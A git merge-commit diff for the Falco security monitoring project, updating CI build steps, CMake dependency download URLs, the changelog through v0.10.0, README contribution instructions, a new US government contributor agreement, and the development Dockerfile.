Merge branch 'dev' into agent-master

* Add ability to skip rules for unknown filters

Add the ability to skip a rule if its condition refers to a filtercheck
that doesn't exist. This allows defining a rules file that contains new
conditions that can still has limited backward compatibility with older
falco versions.

When compiling a filter, return a list of filtercheck names that are
present in the ast (which also includes filterchecks from any
macros). This set of filtercheck names is matched against the set of
filterchecks known to sinsp, expressed as lua patterns, and in the
global table defined_filters. If no match is found, the rule loader
throws an error.

The pattern changes slightly depending on whether the filter has
arguments or not. Two filters (proc.apid/proc.aname) can work with or
without arguments, so both styles of patterns are used.

If the rule has an attribute "skip-if-unknown-filter", the rule will be
skipped instead.

* Unit tests for skipping unknown filter

New unit test for skipping unknown filter. Test cases:

 - A rule that refers to an unknown filter results in an error.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: true", can be read, but doesn't match any events.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: false", returns an error.

Also test the case of a filtercheck like evt.arg.xxx working properly
with the embedded patterns as well as proc.aname/apid which work both ways.

.travis.yml

@@ -10,29 +10,23 @@ before_install:
     - sudo apt-get update
 install:
     - sudo apt-get --force-yes install g++-4.8
-    - sudo apt-get install rpm linux-headers-$(uname -r)
+    - sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
     - git clone https://github.com/draios/sysdig.git ../sysdig
     - sudo apt-get install -y python-pip libvirt-dev jq dkms
     - cd ..
     - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
     - tar -zxvf avocado-36.0-tar.gz
     - cd avocado-36.0lts
+    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
     - sudo -H pip install -r requirements.txt
     - sudo python setup.py install
     - cd ../falco
 before_script:
-    - export KERNELDIR=/lib/modules/$(ls /lib/modules | sort | head -1)/build
+    - export KERNELDIR=/lib/modules/$(uname -r)/build
 script:
     - set -e
     - export CC="gcc-4.8"
     - export CXX="g++-4.8"
-    - wget https://s3.amazonaws.com/download.draios.com/dependencies/cmake-3.3.2.tar.gz
-    - tar -xzf cmake-3.3.2.tar.gz
-    - cd cmake-3.3.2
-    - ./bootstrap --prefix=/usr
-    - make
-    - sudo make install
-    - cd ..
     - mkdir build
     - cd build
     - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"

CHANGELOG.md

@@ -2,9 +2,118 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.10.0
+
+Released 2018-04-24
+
+## Major Changes
+
+* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
+* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
+* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
+* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
+* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
+* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
+
+## Minor Changes
+
+* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
+* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
+* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
+* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
+* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
+* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
+* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
+* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
+
+## Bug Fixes
+
+* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
+* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
+* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
+* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
+* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
+* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
+
+## Rule Changes
+
+* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
+* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
+* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
+* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
+* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
+
+## v0.9.0
+
+Released 2018-01-18
+
+### Bug Fixes
+
+* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
+* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
+
+### Minor Changes
+
+* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
+
+### Rule Changes
+
+* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
+* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]
+
+## v0.8.1
+
+Released 2017-10-10
+
+### Bug Fixes
+
+* Fix packaging to specify correct built-in config file [[#288](https://github.com/draios/falco/pull/288)]
+
+## v0.8.0
+
+Released 2017-10-10
+
+**Important**: the location for falco's configuration file has moved from `/etc/falco.yaml` to `/etc/falco/falco.yaml`. The default rules file has moved from `/etc/falco_rules.yaml` to `/etc/falco/falco_rules.yaml`. In addition, 0.8.0 has added a _local_ ruls file to `/etc/falco/falco_rules.local.yaml`. See [the documentation](https://github.com/draios/falco/wiki/Falco-Default-and-Local-Rules-Files) for more details.
+
+### Major Changes
+
+* Add the ability to append one list to another list by setting an `append: true` attribute. [[#264](https://github.com/draios/falco/pull/264)]
+* Add the ability to append one macro/rule to another list by setting an `append: true` attribute. [[#277](https://github.com/draios/falco/pull/277)]
+* Ensure that falco rules/config files are preserved across package upgrades/removes if modified. [[#278](https://github.com/draios/falco/pull/278)]
+* Add the notion of a "local" rules file that should contain modifications to the default falco rules file. [[#278](https://github.com/draios/falco/pull/278)]
+* When using json output, separately include the individual templated fields in the json object. [[#282](https://github.com/draios/falco/pull/282)]
+* Add the ability to keep a file/program pipe handle open across rule notifications. [[#283](https://github.com/draios/falco/pull/283)]
+* New argument `-V` validates rules file and immediately exits. [[#286](https://github.com/draios/falco/pull/286)]
+
+### Minor Changes
+
+* Minor updates to falco example programs [[#248](https://github.com/draios/falco/pull/248)] [[#275](https://github.com/draios/falco/pull/275)]
+* Also validate macros at rule parse time. [[#257](https://github.com/draios/falco/pull/257)]
+* Minor README typo fixes [[#276](https://github.com/draios/falco/pull/276)]
+* Add a government CLA (contributor license agreement). [[#263](https://github.com/draios/falco/pull/263)]
+* Add ability to only run rules with a priority >= some threshold [[#281](https://github.com/draios/falco/pull/281)]
+* Add ability to make output channels unbuffered [[#285](https://github.com/draios/falco/pull/285)]
+
+### Bug Fixes
+
+* Fix installation of falco on OSX [[#252](https://github.com/draios/falco/pull/252)]
+* Fix a bug that caused the trailing whitespace of a quoted string to be accidentally removed [[#254](https://github.com/draios/falco/pull/254)]
+* When multiple sets of kernel headers are installed, find the one for the running kernel [[#260](https://github.com/draios/falco/pull/260)]
+* Allow pathnames in rule/macro conditions to contain '.' characters [[#262](https://github.com/draios/falco/pull/262)]
+* Fix a bug where a list named "foo" would be substituted even if it were a substring of a longer word like "my_foo" [[#258](https://github.com/draios/falco/pull/258)]
+* Remove extra trailing newlines from rule output strings [[#265](https://github.com/draios/falco/pull/265)]
+* Improve build pathnames to avoid relative paths when possible [[#284](https://github.com/draios/falco/pull/284)]
+
+### Rule Changes
+
+* Significant changes to default ruleset to address FPs. These changes resulted from hundreds of hours of use in actual customer environments. [[#247](https://github.com/draios/falco/pull/247)] [[#259](https://github.com/draios/falco/pull/259)]
+* Add official gitlab EE docker image to list of known shell spawning images. Thanks @dkerwin! [[#270](https://github.com/draios/falco/pull/270)]
+* Add keepalived to list of shell spawning binaries. Thanks @dkerwin! [[#269](https://github.com/draios/falco/pull/269)]
+
 ## v0.7.0
 
-Released 2016-05-30
+Released 2017-05-30
 
 ### Major Changes
 
@@ -27,7 +136,7 @@ None.
 
 ## v0.6.1
 
-Released 2016-05-15
+Released 2017-05-15
 
 ### Major Changes
 
@@ -47,7 +156,7 @@ None
 
 ## v0.6.0
 
-Released 2016-03-29
+Released 2017-03-29
 
 ### Major Changes
 

CMakeLists.txt

@@ -7,7 +7,7 @@ if(NOT DEFINED FALCO_VERSION)
 endif()
 
 if(NOT DEFINED FALCO_ETC_DIR)
-	set(FALCO_ETC_DIR "/etc")
+	set(FALCO_ETC_DIR "/etc/falco")
 endif()
 
 if(NOT CMAKE_BUILD_TYPE)
@@ -78,7 +78,7 @@ else()
         set(ZLIB_INCLUDE "${ZLIB_SRC}")
         set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
         ExternalProject_Add(zlib
-		URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
@@ -104,7 +104,7 @@ else()
         set(JQ_INCLUDE "${JQ_SRC}")
         set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
         ExternalProject_Add(jq
-                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
                 URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                 CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                 BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
@@ -134,7 +134,7 @@ else()
 	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
 	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
 	ExternalProject_Add(ncurses
-		URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
@@ -161,7 +161,7 @@ else()
 	set(B64_INCLUDE "${B64_SRC}/include")
 	set(B64_LIB "${B64_SRC}/src/libb64.a")
 	ExternalProject_Add(b64
-		URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -215,7 +215,7 @@ else()
 	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
 
 	ExternalProject_Add(openssl
-		URL "http://download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
 		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
@@ -246,9 +246,9 @@ else()
 
 	ExternalProject_Add(curl
 		DEPENDS openssl
-		URL "http://download.draios.com/dependencies/curl-7.52.1.tar.bz2"
-		URL_MD5 "dd014df06ff1d12e173de86873f9f77a"
-		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.56.0.tar.bz2"
+		URL_MD5 "e0caf257103e0c77cee5be7e9ac66ca4"
+		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
@@ -280,7 +280,7 @@ else()
 	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
 	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
 	ExternalProject_Add(luajit
-		URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -303,6 +303,7 @@ if(NOT USE_BUNDLED_LPEG)
 else()
 	set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
 	set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
+	message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
 	set(LPEG_DEPENDENCIES "")
 	if(USE_BUNDLED_LUAJIT)
 		list(APPEND LPEG_DEPENDENCIES "luajit")
@@ -342,8 +343,9 @@ else()
 
 	set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
 	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
+	message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
 	ExternalProject_Add(libyaml
-		URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
 		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -369,6 +371,7 @@ if(NOT USE_BUNDLED_LYAML)
 else()
 	set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
 	set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
+	message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
 	set(LYAML_DEPENDENCIES "")
 	if(USE_BUNDLED_LUAJIT)
 		list(APPEND LYAML_DEPENDENCIES "luajit")
@@ -378,7 +381,7 @@ else()
 	endif()
 	ExternalProject_Add(lyaml
 		DEPENDS ${LYAML_DEPENDENCIES}
-		URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
                 URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
                 BUILD_COMMAND ${CMD_MAKE}
                 BUILD_IN_SOURCE 1
@@ -389,6 +392,8 @@ endif()
 install(FILES falco.yaml
 	DESTINATION "${FALCO_ETC_DIR}")
 
+add_subdirectory(rules)
+
 if(CMAKE_SYSTEM_NAME MATCHES "Linux")
 	add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
 endif()
@@ -396,8 +401,9 @@ add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/usersp
 add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
 
 set(FALCO_SINSP_LIBRARY sinsp)
-set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco)
-set(FALCO_BIN_DIR ${CMAKE_INSTALL_PREFIX}/bin)
+set(FALCO_SHARE_DIR share/falco)
+set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
+set(FALCO_BIN_DIR bin)
 add_subdirectory(scripts)
 add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
@@ -419,7 +425,7 @@ set(CPACK_DEBIAN_PACKAGE_MAINTAINER "Sysdig <support@sysdig.com>")
 set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
 set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
 set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
-set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm")
+set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cpack/debian/conffiles")
 
 set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
 set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")

README.md

@@ -2,7 +2,7 @@
 
 #### Latest release
 
-**v0.7.0**
+**v0.10.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -33,10 +33,9 @@ Documentation
 
 Join the Community
 ---
-* Contact the [official mailing list](https://groups.google.com/forum/#!forum/falco) for support and to talk with other users.
 * Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
 * This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
-* Join our [Public Slack](https://sysdig.slack.com) channel for sysdig and falco announcements and discussions.
+* Join our [Public Slack](https://slack.sysdig.com) channel for sysdig and falco announcements and discussions.
 
 License Terms
 ---
@@ -61,15 +60,27 @@ As always, we are grateful for your past and present contributions to falco.
 
 **Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
 
+```
 falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+```
 
 Use your real name; pseudonyms or anonymous contributions are not allowed.
 
 **Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
 
 ```
- falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
- falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
+falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+```
+
+Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+
+**Government contributions**: Employees or officers of the United States Government, must review the [Government Contributor License Agreement](https://github.com/draios/falco/blob/dev/cla/falco_govt_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+
+```
+falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
+falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
 ```
 
 Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

cla/falco_govt_contributor_agreement.txt

@@ -0,0 +1,33 @@
+DRAIOS, INC. <20> OPEN SOURCE CONTRIBUTION AGREEMENT FOR UNITED STATES GOVERNMENT CONTRIBUTING ENTITIES (<28>Agreement<6E>)
+
+Draios, Inc. (<28>Draios<6F> or <20>Sysdig<69>) welcomes the work of others on our open source software projects.  To contribute code back to our repositories, we require a contributing entity that is a United States Government agency to complete, and agree to, the Government Contributor Agreement (GCA) set forth here, by and through a designated authorized representative. This agreement clarifies the ability for us to use and incorporate the contributions of a government contributing entity in our projects and products. After agreeing to these terms, a contributing entity may contribute to our projects. To indicate the agreement of the contributing entity, an authorized representative shall follow the procedure set forth below under TO AGREE, after reading this Agreement. A <20>contributing entity<74> means any agency or unit of the United States government. We provide a separate CLA for individual contributors. 
+
+You accept and agree to the following terms and conditions for Your present and future Contributions that are submitted to Draios/Sysdig.
+
+1. Definitions.  "You" (or "Your") shall mean the contributing entity that has authored or otherwise has the right to contribute the Contribution, and that is making this Agreement with Draios/Sysdig. "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Draios/Sysdig for inclusion in, or documentation of, any of the products owned or managed by Draios/Sysdig (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Draios/Sysdig or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Draios/Sysdig for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution."
+
+2. Contributions Not Subject to Copyright. Each Contribution is a work authored by the United States Government or an employee or officer thereof and is not subject to copyright under 17 U.S.C. 105.
+
+3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Draios/Sysdig and to recipients of software distributed by Draios/Sysdig a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims that You have the right to license and that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity other than Draios/Sysdig institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed.
+
+4. You represent to Draios/Sysdig that You own or have the right to contribute Your Contributions to Draios/Sysdig, and that You are legally entitled to grant the license set forth above.
+
+5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which You are personally aware and which are associated with any part of Your Contributions. You represent that Your sign-off indicating assent to this Agreement includes the real name of a natural person who is an authorized representative of You, and not a pseudonym, and that You are not attempting or making an anonymous Contribution.
+
+6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions to Draios/Sysdig on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.
+
+7. If You wish to submit work that is not Your original creation, You may submit it to Draios/Sysdig separately from any Contribution, identifying the complete details of its source and of any license or other restriction (including, but not limited to, related patents, trademarks, and license agreements) of which You are aware, and conspicuously marking the work as "Submitted on behalf of a third-party: [named here]".
+
+8. You agree to notify Draios/Sysdig of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect.
+
+9. You understand and agree that this project and Your Contribution are public and that a record of the contribution, including all personal information that You submit with it, including the sign-off of Your authorized representative, may be stored by Draios/Sysdig indefinitely and may be redistributed to others. You understand and agree that Draios/Sysdig has no obligation to use any Contribution in any Draios/Sysdig project or product, and Draios/Sysdig may decline to accept Your Contributions or Draios/Sysdig may remove Your Contributions from Draios/Sysdig projects or products at any time without notice. You understand and agree that Draios/Sysdig is not and will not pay You any form of compensation, in currency, equity or otherwise, in exchange for Your Contributions or for Your assent to this Agreement. You understand and agree that You are independent of Draios/Sysdig and You are not, by entering into this Agreement or providing Your Contributions, becoming employed, hired as an independent contractor, or forming any other relationship with Draios/Sysdig relating to employment, compensation or ownership or involving any fiduciary obligation.
+
+TO AGREE:
+Add the following lines to every GIT commit message:
+
+falco-CLA-1.0-contributing-govt-entity: Full Legal Name of Entity
+falco-CLA-1.0-signed-off-by: Joe Smith joe.smith@email.com
+This file is a work of authorship of an employee or officer of the United States Government and is not subject to copyright in the United States under 17 USC 105.
+
+Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+

cpack/debian/conffiles

@@ -0,0 +1,4 @@
+/etc/falco/falco.yaml
+/etc/falco/falco_rules.yaml
+/etc/falco/rules.available/application_rules.yaml
+/etc/falco/falco_rules.local.yaml

docker/dev/Dockerfile

@@ -14,28 +14,31 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
- && apt-get update \
+RUN apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	curl \
-	jq \
-	gnupg2 \
+	bc \
+	clang-7 \
 	ca-certificates \
+	curl \
+	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-4.9 && rm -rf /var/lib/apt/lists/*
+	gdb \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	llvm-7 \
+ && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
-# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
-# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
-# by symlinking it to 4.9
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
-RUN rm -rf /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
- && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
